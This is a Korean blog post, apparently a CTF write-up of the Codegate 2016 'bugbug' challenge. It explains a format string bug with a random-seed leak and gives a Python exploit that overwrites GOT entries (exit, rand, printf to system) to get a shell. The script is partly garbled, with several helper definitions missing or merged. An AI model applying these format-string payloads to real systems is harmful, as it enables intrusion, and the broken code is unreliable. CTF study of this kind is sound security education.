>

[codegate2016] bugbug

CTF 2016. 3. 19. 02:15


 1부터 45까지의 랜덤한 수 6개를 맞추면 Format String Bug 취약점을 트리거링 할 수 있다. srand 함수에 인자로 들어가는 ptr 변수는 입력값인 buf 변수보다 높은 주소에 존재하기 때문에, 100바이트를 모두 채워주면 buf 변수와 ptr 사이의 NULL이 없어져서 랜덤시드 Leak이 가능하다.

 Exploit 시나리오는 이렇다.

1. exit 함수 GOT를 main 함수 첫부분으로 변경

2. 임의의 함수 GOT Leak

3. rand GOT를 ret 가젯 주소로 변경

4. printf 함수 GOT를 system 함수로 변경

5. /bin/sh 입력 후 숫자를 맞춘다.

6. 쉘 획득

 1은 여러번의 FSB를 이용하기 위한 것이다. 3를 하는 이유는 4에서 printf 함수 GOT가 변경됐기 때문에 랜덤 시드 Leak이 불가능하다. 그렇기에 랜덤값을 고정시켜 계속해서 트리거링을 할 수 있게 만든다.

#!/usr/bin/python

from socket import *
from struct import pack,unpack
import time
import os
import telnetlib

p = lambda x:pack(" ")
	input_data = data.split("Hello~ ")[1].split("\n==============================")[0]
	seed = u_p(input_data[100:104])
	print hex(seed)

	randnum = os.popen("./srand %s"%(seed),"r").read()
	randnum = randnum.replace("\n","")
	print randnum
	#raw_input()
	s.send(randnum + "\n")
	d = recv_until(s,"You Win!!\n")
	d = d[16:]
	return d
	#print d.encode("hex")
	#print hex(u_p(d[5:9]))

def fsb_calc(addr):
	low = addr & 0xffff
	high = (addr >> 16) & 0xffff
	high = high + 0x10000 - low
	return low-8, high

stdout = 0x0804a04c
setvbuf_got = 0x0804a030
setvbuf_plt = 0x08048530
exit_got = 0x0804a024
main_addr = 0x0804878c
printf_got = 0x0804a010
rand_got = 0x0804a03c
ret_addr = 0x08048994

low,high = fsb_calc(main_addr)
payload = ""
payload += p(exit_got)
payload += p(exit_got+2)
payload += "%"+"%d"%(low)+"c%17$hn%"+"%d"%(high)+"c%18$hn"
payload += "a"*(100-(len(payload)))

payload2 = ""
payload2 += p(printf_got)
payload2 += "%17$s"
payload2 += "a"*(100-len(payload2))

low,high = fsb_calc(ret_addr)
payload3 = ""
payload3 += p(rand_got)
payload3 += p(rand_got+2)
payload3 += "%"+"%d"%(low)+"c%17$hn%"+"%d"%(high)+"c%18$hn"
payload3 += "a"*(100-(len(payload3)))

go(s,payload)
#raw_input()
leak = u_p(go(s,payload2)[5:9])
print hex(leak)
go(s,payload3)

#libc_base = leak - 0x4a150 # server
#system_addr = libc_base + 0x3b180 # server

libc_base = leak - 0x49a90
system_addr = libc_base + 0x3acd0

low,high = fsb_calc(system_addr)
payload4 = ""
payload4 += p(printf_got)
payload4 += p(printf_got+2)
payload4 += "%"+"%d"%(low)+"c%17$hn%"+"%d"%(high)+"c%18$hn"
payload4 += "a"*(100-(len(payload4)))
raw_input()

recv_until(s,"\nWho are you? ")
s.send(payload4)
data = recv_until(s,"==> ")



t = telnetlib.Telnet(host,port)
t.sock = s
t.interact()




'CTF' 카테고리의 다른 글

[TMCTF 2016] Analysis Defensive 200  (0) 2016.08.01
[HackIM] sandman  (0) 2016.03.03
[hitcon2015] blinkroot  (0) 2015.10.20
[Layer7 2015] Reverse Me, Easy Rerversing  (0) 2015.09.01
Codegate 2015 bookstore  (0) 2015.03.17
Posted by Mungsul
,